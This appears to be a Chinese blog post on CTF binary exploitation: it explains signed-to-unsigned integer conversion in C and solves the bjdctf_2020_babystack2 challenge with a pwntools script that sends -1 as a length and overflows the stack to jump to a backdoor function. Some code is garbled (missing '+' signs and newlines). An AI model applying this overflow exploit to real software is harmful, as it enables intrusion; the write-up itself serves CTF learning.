PWN 无符号和有符号整型的绕过漏洞

2023-05-02 11:09:21 浏览数 (1)

本文最后更新于 554 天前,其中的信息可能已经有所发展或是发生改变。

无符号和有符号整型

数据元素类型:unsigned(无符号整型)

C语言中,无符号整型数是不带正负表示符号的整型数。C语言在计算机里编译时数都是用二进制表示的,如果最左边这一位不用来表示正负,而是和后面的连在一起表示整数,那么就不能区分这个数是正还是负,就只能是正数,这就是无符号整型数。

unsigned a=-6; printf("%un",1); 输出:1 printf("%un",0); 输出:0

当传入的值负数的时候,值会溢出,从而得到一个非常大的值,下面就是测试的直观看法:

printf("%un",-1); 输出:4294967295 printf("%un",-6); 输出:4294967290 printf("%un",a); 输出:4294967290

有符号整型,写作signed int, 简写为int时效果相同,因为C语言默认为有符号数。

漏洞存在

如果在无符号类型中输入-1会被判断成一个很大的正整数,从而会导致出现一些如果判断的情况出现

例题分析

bjdctf_2020_babystack2

bjdctf_2020_babystack2:https://buuoj.cn/challenges#bjdctf_2020_babystack2

main函数中就存在这很明显的漏洞,先输入-1,在进行nbutes进行判断的时候读取位-1,但是在read中作为参数时被转换为无符号整型(unsiged int),这个时候-1就会被识别成一个很大的整整数,从而导致栈溢出。

payload

代码语言:javascript复制
from pwn import *

context.log_level = 'debug'

content = 0
elf = ELF('./bjdctf_2020_babystack2')

# 题目里面有个后面函数,用elf直接查地址
backdoor = elf.symbols['backdoor']

def main():
    if content == 1:
        p = process('./bjdctf_2020_babystack2')
    else:
        p = remote("node4.buuoj.cn", 25588)

    p.sendlineafter('[ ]Please input the length of your name:n', '-1')

    payload = b'a' * (0x10   0x8)   p64(backdoor)
    p.sendlineafter("[ ]What's u name?n" ,payload)
    p.interactive()

main()

浏览量: 198

0 人点赞